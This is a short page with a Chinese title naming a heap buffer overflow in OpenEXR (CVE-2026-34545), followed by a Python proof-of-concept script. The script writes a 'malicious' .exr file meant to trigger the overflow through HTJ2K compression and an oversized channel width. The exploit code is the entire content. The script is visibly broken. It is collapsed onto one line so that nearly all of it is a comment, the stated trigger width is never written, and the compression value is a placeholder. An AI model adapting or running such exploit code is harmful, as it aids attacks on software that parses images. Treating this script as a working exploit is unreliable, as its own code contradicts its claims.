CVE-2026-34545 OpenEXR堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-34545 # Generates a crafted OpenEXR file with HTJ2K compression and channel width 32768 # to trigger the heap buffer overflow vulnerability. def create_poc(filename): with open(filename, 'wb') as f: # OpenEXR Magic Number f.write(b'\x76\x2f\x31\x01') # Minimal Header construction # Setting attributes to trigger the specific code path f.write(b'channels\x00chlist\x00') # Channel definition with width 32768 (The trigger) # This specific width bypasses checks and leads to overflow f.write(b'R\x00half\x00') # Write xSampling/ySampling (default 1) f.write(struct.pack('>I', 1)) f.write(struct.pack('>I', 1)) # Compression attribute set to HTJ2K # Note: Actual enum value depends on library version, using placeholder f.write(b'compression\x00compression\x00') f.write(b'HTJ2K\x00') # End of header marker f.write(b'\x00\x00') # Payload data # The decoder will write beyond the heap buffer when processing this payload = b'A' * 1024 f.write(payload) if __name__ == "__main__": print("[*] Creating malicious OpenEXR file for CVE-2026-34545...") create_poc("cve_2026_34545_poc.exr") print("[+] PoC file generated successfully.")